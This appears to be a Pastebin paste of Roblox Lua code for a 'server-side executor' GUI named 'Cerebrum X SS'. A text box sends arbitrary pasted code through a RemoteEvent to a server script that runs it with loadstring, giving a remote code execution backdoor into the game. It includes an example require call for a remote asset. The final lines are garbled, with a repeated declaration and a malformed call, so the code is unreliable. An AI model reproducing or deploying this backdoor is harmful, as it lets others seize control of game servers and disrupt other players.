DerpyFox

yeyeye

Aug 25th, 2019
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.68 KB | None | 0 0
  1. -- Objects
  2.  
  3. local ScreenGui = Instance.new("ScreenGui")
  4. local Frame = Instance.new("Frame")
  5. local execute = Instance.new("TextButton")
  6. local TextBox = Instance.new("TextBox")
  7. local TextLabel = Instance.new("TextLabel")
  8. local credits = Instance.new("TextLabel")
  9. local clear = Instance.new("TextButton")
  10. local X = Instance.new("TextButton")
  11.  
  12. -- Properties
  13.  
  14. ScreenGui.Parent = game.CoreGui
  15. ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
  16.  
  17. Frame.Parent = ScreenGui
  18. Frame.Active = true
  19. Frame.BackgroundColor3 = Color3.new(0.0980392, 0.0980392, 0.0980392)
  20. Frame.Position = UDim2.new(0.388047814, 0, 0.110070266, 0)
  21. Frame.Size = UDim2.new(0, 502, 0, 381)
  22. Frame.Draggable = true
  23.  
  24. execute.Name = "execute"
  25. execute.Parent = Frame
  26. execute.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
  27. execute.BorderSizePixel = 0
  28. execute.Position = UDim2.new(0.071031481, 0, 0.7590729, 0)
  29. execute.Size = UDim2.new(0, 200, 0, 50)
  30. execute.Font = Enum.Font.SourceSans
  31. execute.Text = "Execute"
  32. execute.TextColor3 = Color3.new(1, 1, 1)
  33. execute.TextSize = 14
  34.  
  35. TextBox.Parent = Frame
  36. TextBox.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
  37. TextBox.BorderSizePixel = 0
  38. TextBox.Position = UDim2.new(0.0699913949, 0, 0.154794604, 0)
  39. TextBox.Size = UDim2.new(0, 430, 0, 211)
  40. TextBox.Font = Enum.Font.SourceSans
  41. TextBox.Text = "Paste require scripts here\n(ex. require(2881162369):Fire('NAME','i baked you a pie'))"
  42. TextBox.TextColor3 = Color3.new(1, 1, 1)
  43. TextBox.TextSize = 15
  44. TextBox.TextXAlignment = Enum.TextXAlignment.Left
  45. TextBox.TextYAlignment = Enum.TextYAlignment.Top
  46.  
  47. TextLabel.Parent = Frame
  48. TextLabel.BackgroundColor3 = Color3.new(0.0980392, 0.0980392, 0.0980392)
  49. TextLabel.BorderSizePixel = 0
  50. TextLabel.Position = UDim2.new(0.298123151, 0, 0.0104986876, 0)
  51. TextLabel.Size = UDim2.new(0, 200, 0, 46)
  52. TextLabel.Font = Enum.Font.SourceSans
  53. TextLabel.Text = "Cerebrum X SS - Private Premium"
  54. TextLabel.TextColor3 = Color3.new(0.992157, 0.992157, 0.992157)
  55. TextLabel.TextSize = 22
  56.  
  57. credits.Name = "credits"
  58. credits.Parent = Frame
  59. credits.BackgroundColor3 = Color3.new(0.0980392, 0.0980392, 0.0980392)
  60. credits.BorderSizePixel = 0
  61. credits.Position = UDim2.new(0, 0, 0.92909956, 0)
  62. credits.Size = UDim2.new(0, 502, 0, 27)
  63. credits.Font = Enum.Font.SourceSans
  64. credits.Text = "Made by 0x45#8396"
  65. credits.TextColor3 = Color3.new(1, 1, 1)
  66. credits.TextSize = 14
  67.  
  68. clear.Name = "clear"
  69. clear.Parent = Frame
  70. clear.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
  71. clear.BorderSizePixel = 0
  72. clear.Position = UDim2.new(0.529198825, 0, 0.7590729, 0)
  73. clear.Size = UDim2.new(0, 200, 0, 50)
  74. clear.Font = Enum.Font.SourceSans
  75. clear.Text = "Clear"
  76. clear.TextColor3 = Color3.new(1, 1, 1)
  77. clear.TextSize = 14
  78.  
  79. X.Name = "X"
  80. X.Parent = Frame
  81. X.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
  82. X.BorderSizePixel = 0
  83. X.Position = UDim2.new(0.905692816, 0, 0.0346634835, 0)
  84. X.Size = UDim2.new(0, 32, 0, 36)
  85. X.Font = Enum.Font.SourceSans
  86. X.Text = "X"
  87. X.TextColor3 = Color3.new(1, 1, 1)
  88. X.TextSize = 14
  89.  
  90. X.MouseButton1Click:connect(function()
  91. Frame.Visible = false
  92. end)
  93. clear.MouseButton1Click:connect(function()
  94. TextBox.Text = ""
  95. end)
  96. execute.MouseButton1Click:connect(function()
  97. game.ReplicatedStorage.RemoteEvent:FireServer(TextBox.Text)
  98. end)
  99.  
  100. local remote = script.Parent.gay -- your remote
  101.  
  102. remote.OnServerEvent:Connect(function(idk, lol) -- function for your executor
  103. require(script.Loadstring)(lol)() -- this code so it actally executes requires and things
  104. end)-- end) meaning this is the end of the script return function
  105.  
  106. local execute = script.Parent.Parent.execute
  107. local text = script.Parent.Parent("Put require here!")
  108. local remote = script.Parent.gay
Add Comment
Please, Sign In to add comment